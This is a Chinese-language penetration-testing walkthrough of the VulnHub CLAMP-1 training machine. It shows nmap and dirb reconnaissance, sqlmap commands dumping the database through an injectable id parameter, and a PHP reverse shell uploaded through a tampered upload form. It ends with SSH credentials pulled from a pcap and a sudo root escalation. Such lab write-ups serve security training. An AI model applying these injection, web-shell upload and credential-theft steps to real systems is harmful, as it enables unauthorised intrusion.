当前位置: 首页 > news >正文

CLAMP-1靶机渗透测试

一、靶机下载地址

https://www.vulnhub.com/entry/clamp-101,320/

二、信息收集

1、主机发现

# 使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 "00:0C:29:88:B4:BF"

2、端口扫描

# 使用命令
nmap 192.168.145.0/24 -p- -sV

3、指纹识别

# 使用命令
whatweb 192.168.145.206

4、目录扫描

# 使用命令
dirb http://192.168.145.206

三、获取shell

1、访问靶机IP地址

2、拼接并访问 /nt4stopc/,发现下面有一些问题,提示必须收集答案

3、都是一些判断题,对与错对应1与0,最后结果为0110111001,拼接访问

4、点击图中位置,发现存在参数,php语言,尝试注入,and 1=1 --+ 显示正常,and 1=2--+ 显示异常,表名存在SQL注入

5、使用sqlmap工具进行检测

# 使用命令
python3 sqlmap.py -u "http://192.168.145.206/nt4stopc/0110111001/summertimesummertime/go.php?id=1" --batch

6、获取库名

# 使用命令
python3 sqlmap.py -u "http://192.168.145.206/nt4stopc/0110111001/summertimesummertime/go.php?id=1" --batch --dbs

7、获取tatil库下的表名

# 使用命令
python3 sqlmap.py -u "http://192.168.145.206/nt4stopc/0110111001/summertimesummertime/go.php?id=1" --batch -D tatil --tables

8、获取gereksiz字段下的数据


# 使用命令
python3 sqlmap.py -u "http://192.168.145.206/nt4stopc/0110111001/summertimesummertime/go.php?id=1" --batch -D tatil -T gereksiz --columns --dump

9、解码后如下结果,可能还是路径,拼接访问

uvuvwevwevwe-onyetenyevwe-ugwemuhwem-osas

10、再拼接 upload.php,发现文件上传的功能

11、但是没有提交按钮,自己在前端给加一个

12、kali 生成反弹 shell

# 使用命令
locate php-reverse-shell.phpcp /usr/share/webshells/php/php-reverse-shell.php .nano php-reverse-shell.php

13、上传该文件后,返回了文件路径,文件名为md5加密后的

14、拼接访问文件,成功反弹shell

四、提权

1、使用 python 提升交互性

# 使用命令
python3 -c 'import pty;pty.spawn("/bin/bash")'

2、在 /var/www/html 下发现 important.pcapng文件

3、查看文件,发现内容

4、url解码,得到以下数据,账号密码为mkelepce:mklpc-osas112.

email=mkelepce&message=Hello there, The password for the SSH account you want is: mkelepce:mklpc-osas112. If you encounter a problem, just mail it.  Good work

5、使用ssh连接,连接成功

# 使用命令
ssh mkelepce@192.168.145.206

6、查看当前权限

# 使用命令
sudo -l
mklpc-osas112.

7、执行sudo su命令提权成功

相关文章:

CLAMP-1靶机渗透测试

一、靶机下载地址 https://www.vulnhub.com/entry/clamp-101,320/ 二、信息收集 1、主机发现 # 使用命令 nmap 192.168.145.0/24 -sn | grep -B 2 "00:0C:29:88:B4:BF" 2、端口扫描 # 使用命令 nmap 192.168.145.0/24 -p- -sV 3、指纹识别 # 使用命令 whatweb …...

JavaScript中的Truthy Falsy值以及等号判断

1.Falsy & Truthy Falsy的值false,0,-0, “”, null, undefined,NaNTruthy的值除了以上之外的其他值 2.等号判断 console.log(10 10); console.log(0 ); console.log(0 false); console.log( fa…...

uniapp——展开和收起

案例展示 代码 后台返回的数据格式如下&#xff1a; {1: "大富科技速度快放假手动阀",2: "第三方斯蒂芬斯蒂芬是的开发时间",4: "45345345",5: "电饭锅电饭锅地方" }<view class"tipTitle">温馨提示</view> &l…...

WebGL2学习(2): GLSL ES 3.0

更多精彩内容尽在 dt.sim3d.cn &#xff0c;关注公众号【sky的数孪技术】&#xff0c;技术交流、源码下载请添加VX&#xff1a;digital_twin123 WebGL 2.0 给 GLSL 带来了重大变化。WebGL 1.0 中使用的 GLSL 版本是 GLSL ES 1.0。 WebGL 2.0 中仍然可用。但是&#xff0c;通过编…...

[大模型实战] DAMODEL云算力平台部署LLama3.1大语言模型

[大模型实战] DAMODEL云算力平台部署LLama3.1大语言模型 目录 一、LLama3.1二、DAMODEL云算力平台2.1 提供的服务2.1.1 AI训练2.1.2 AI推理2.1.3 高性能计算2.1.4 图像&#xff0f;视频渲染2.1.5 定制化部署 2.2 支持的GPU 三、在DAMODEL部署LLama3.13.1 在DAMODEL创建实例&…...

驱动开发系列09 - Linux设备模型之设备,驱动和总线

一:概述 Linux 设备模型(LDM)是 Linux 内核中引入的一个概念。用于管理内核对象(那些需要引用计数的对象、例如文件、设备、总线甚至驱动程序),以及描述它们之间的层次结构,以及这些内核对象之间绑定关系。Linux 设备模型引入了对象生命周期管理、引用计数、以及面向对象…...

HTML实现弹出层

leopard/ˈlepərd/ 豹子&#xff0c;豹纹 弹出层指的是鼠标悬停于某个元素之上时显示的一个界面组件。 关注和理解特性&#xff1a;z-index属性和动态生成HTML元素。 HTML5新增&#xff1a; figure:媒体内容(图像&#xff0c;音频&#xff0c;视频)&#xff0c;用于包含一…...

Android控件详解

在Android应用程序中&#xff0c;界面由布局和组件组成。布局相当于框架&#xff0c;而控件则是框架里面的内容。了解过Android布局后&#xff0c;如果要设计ui界面&#xff0c;还需要了解和掌握各个控件的应用。 一个界面的设计&#xff0c;先从创建容器开始&#xff0c;再向…...

记忆化搜索专题篇

目录 斐波那契数 不同路径 最长递增子序列 猜数字大小II 矩阵中的最长递增路径 声明&#xff1a;下面将主要使用递归记忆化搜索来解决问题&#xff01;&#xff01;&#xff01; 斐波那契数 题目 思路 斐波那契数的特点就是除了第一个数是0&#xff0c;第二个数是1&…...

入网测评检查项大全(安全资料)

1. Linux操作系统 2. Windows操作系统 3. Tomcat中间件 4. Nginx中间件 5. Mysql数据库 6. Weblogic中间件 7. Oracle数据库 8. Redis数据库 9. 达梦数据库 10. 应用系统 11. 渗透测试 13 .AIX操作系统 14 .中创中间件 15 .IIS中间件 16 .Apache中间件 17 .Mari…...

uni-app 开发App时调用uni-push 实现在线系统消息推送通知 保姆教程

一、引言 在开发App时避免不了需要推送系统通知&#xff0c;以提高用户的使用体验。在自己的一个工具型的小app上全流程接入了uni-push2.0的推送能力&#xff0c;做个记录&#xff0c;以防后期需要用到。在阅读本教程前最好先看看官方文档&#xff0c;结合官方文档使用&#xf…...

13.StringRedisTemplete使用

上一篇说到改变了RedisTemplate的默认序列化器后&#xff0c;在redis中存入Java对象后&#xff0c;在redis中的呈现是&#xff1a;会记录类的字节码 这也是代码中可以强制装换为对应的java对象的原因&#xff1a; Test void testStudent() {redisTemplate.opsForValue().set(&q…...

[工具]-gitee+pycharm-配置

安装git ​ 查看git是否安装设置成功&#xff1a; ​ git config user.name ​ git config user.email ​ 码云账号设置邮箱 pycharm设置gitee 打开 PyCharm&#xff0c;在 Settings - Plugins 里面&#xff0c;搜索 Gitee 插件&#xff0c;安装后重启 PyCharm。 pychar…...

中间件是一种在客户端和服务器之间进行通信和处理的软件组件或服务

中间件是一种在客户端和服务器之间进行通信和处理的软件组件或服务。中间件位于应用程序和操作系统之间&#xff0c;可以提供一些功能&#xff0c;如请求转发、数据转换、安全性和身份验证、日志记录等。 中间件的主要作用是将应用程序与底层基础设施解耦&#xff0c;提供了一…...

RCE-eval长度限制突破技巧

目录 一、长度17的限制绕过 1、最简单的绕过 &#xff08;一&#xff09;绕过 &#xff08;二&#xff09;编写一句话木马 2、文件包含的利用 &#xff08;一&#xff09;远程文件包含的利用 &#xff08;二&#xff09;本地文件包含的利用 3、usort绕过 &#xff08…...

【黑马】MyBatis

目录 MyBatis简介JDBC缺点&#xff1a;MyBatis针对于JDBC进行简化&#xff0c;简化思路&#xff1a; MyBatis快速入门具体构建步骤解决SQL映射文件的警告提示 Mapper代理开发案例&#xff1a;使用Mapper代理方式完成案例具体步骤详解&#xff1a;Mapper代理方式 Mapper核心配置…...

oracle创建dblink使得数据库A能够访问数据库B表LMEAS_MFG_FM的数据

1、给数据库A普通用户CMRONLINE相应的权限&#xff0c;在sys用户下执行以下语句 GRANT CREATE DATABASE LINK TO CMRONLINE; GRANT DROP PUBLIC DATABASE LINK TO CMRONLINE; GRANT CREATE PUBLIC DATABASE LINK TO CMRONLINE; 2、在数据库A用户 CMRONLINE下执行创建语句&…...

git config 如何配置用户账户

Git配置用户账户主要涉及设置用户名和邮箱地址&#xff0c;这是Git进行版本控制时用于标识提交者身份的重要信息。以下是如何配置Git用户账户的详细步骤&#xff1a; 1. 打开命令行工具 首先&#xff0c;需要打开命令行工具&#xff08;如CMD、Terminal或Git Bash等&#xff…...

SpringBoot基础(二):配置文件详解

SpringBoot基础系列文章 SpringBoot基础(一)&#xff1a;快速入门 SpringBoot基础(二)&#xff1a;配置文件详解 目录 一、配置文件分类二、配置文件优先级1、不同版本优先级2、不同位置优先级 三、配置文件格式1、yml和yaml格式1.1、字符串1.2、布尔类型1.3、整数型1.4、浮点…...

Web安全(一)-靶场搭建过程-基于docker

今天来复习一下web方面的知识 1.1 sqliab环境搭建 基于Centos 和Docker 1.1.1 Vmware环境安装 这个就略去了吧 博主使用的是vmware17pro 具体的密钥什么的大家懂的都懂 这里就不提供了 接下来 将带大家安装centos7的镜像 为了方便操作 这里选择 centos7_minimal 地址如下:…...

火绒安全软件6.0 深度评测 | 安静、安全、纯粹的“反PUA型“杀毒软件

&#x1f6e1;️ 火绒安全软件6.0 深度评测 一、 软件简介 定义&#xff1a;Windows终端安全软件&#xff0c;成立于2012年&#xff0c;以“干净”著称。定位&#xff1a;只做安全本质&#xff08;不做浏览器、输入法、导航&#xff09;&#xff0c;不靠广告赚钱&#xff08;…...

实战踩坑:我用PHP测试了3个免费IP定位库,这个准确率最高(附完整代码)

实战踩坑&#xff1a;我用PHP测试了3个免费IP定位库&#xff0c;这个准确率最高&#xff08;附完整代码&#xff09; 上周接手一个海外电商项目&#xff0c;需要在用户登录时自动显示国家/地区信息。原本以为调用个免费IP库分分钟搞定&#xff0c;结果连续踩坑——有的库返回&q…...

Small插件化框架终极指南:从Bundle到Launcher的完整架构解析

Small插件化框架终极指南&#xff1a;从Bundle到Launcher的完整架构解析 【免费下载链接】Small A small framework to split app into small parts 项目地址: https://gitcode.com/gh_mirrors/smal/Small Small是一个轻量级的插件化框架&#xff0c;旨在将应用程序拆分…...

Wan2.2-I2V-A14B实操手册:WebUI中ControlNet风格控制与运动强度调节

Wan2.2-I2V-A14B实操手册&#xff1a;WebUI中ControlNet风格控制与运动强度调节 1. 环境准备与快速部署 在开始探索Wan2.2-I2V-A14B的强大功能前&#xff0c;我们需要确保环境已正确部署。本镜像已针对RTX 4090D 24GB显卡进行深度优化&#xff0c;开箱即用。 1.1 一键启动We…...

PyTorch 2.8镜像快速验证:RTX 4090D执行torch.cuda.is_available()全流程

PyTorch 2.8镜像快速验证&#xff1a;RTX 4090D执行torch.cuda.is_available()全流程 1. 镜像环境概述 PyTorch 2.8深度学习镜像为RTX 4090D显卡深度优化&#xff0c;提供开箱即用的高性能计算环境。这个镜像专为24GB显存显卡设计&#xff0c;预装了完整的CUDA 12.4工具链和必…...

YOLOv10优化升级:利用TensorRT加速,推理性能再提升

YOLOv10优化升级&#xff1a;利用TensorRT加速&#xff0c;推理性能再提升 1. YOLOv10与TensorRT的完美结合 在计算机视觉领域&#xff0c;目标检测模型的推理速度直接影响着实际应用效果。YOLOv10作为最新一代的目标检测模型&#xff0c;通过消除NMS后处理实现了真正的端到端…...

labelme安装在D盘【详细教程】

github地址 https://github.com/Wkentaro/labelme 一、安装步骤&#xff08;CMD 直接复制执行&#xff09; 以管理员身份打开 CMD&#xff08;WinR 输入 cmd 回车&#xff0c;右键以管理员运行&#xff09;依次执行下面的命令&#xff0c;每一行输完按回车&#xff1a; # 1. 进…...

DeerFlow GPU算力优化:vLLM加速Qwen3-4B推理性能调优

DeerFlow GPU算力优化&#xff1a;vLLM加速Qwen3-4B推理性能调优 1. 引言&#xff1a;当深度研究遇上推理瓶颈 想象一下&#xff0c;你正在使用一个强大的AI研究助手&#xff0c;它能帮你搜索资料、分析数据、撰写报告&#xff0c;甚至生成播客。但每次你提出一个稍微复杂点的…...

使用openclaw龙虾采集电商数据

最近openclaw养龙虾的热潮带动了skill的爆发&#xff0c;github上各种skill层出不穷&#xff0c;可以解决繁杂的办公自动化任务&#xff0c;比如生成ppt、运营媒体账号、审查代码等&#xff0c;skill已经成为ai时代的“万能软件”。 刚好有个朋友是做跨境3D打印业务&#xff0…...

C++和OpenGL实现3D游戏编程【连载16】——详解三维坐标转二维屏幕坐标(向量和矩阵操作实战)(附源码)

🔥C++和OpenGL实现3D游戏编程【目录】 1、本节课要实现的内容 在上一课我们了解了着色器,了解了部分核心模式编程内容,从中接触到了线性代数中向量和矩阵相关知识,我们已经能够感受到向量和矩阵在OpenGL编程中的重要性。特别是后期用去了解融合、光照效果,构建自己的三维…...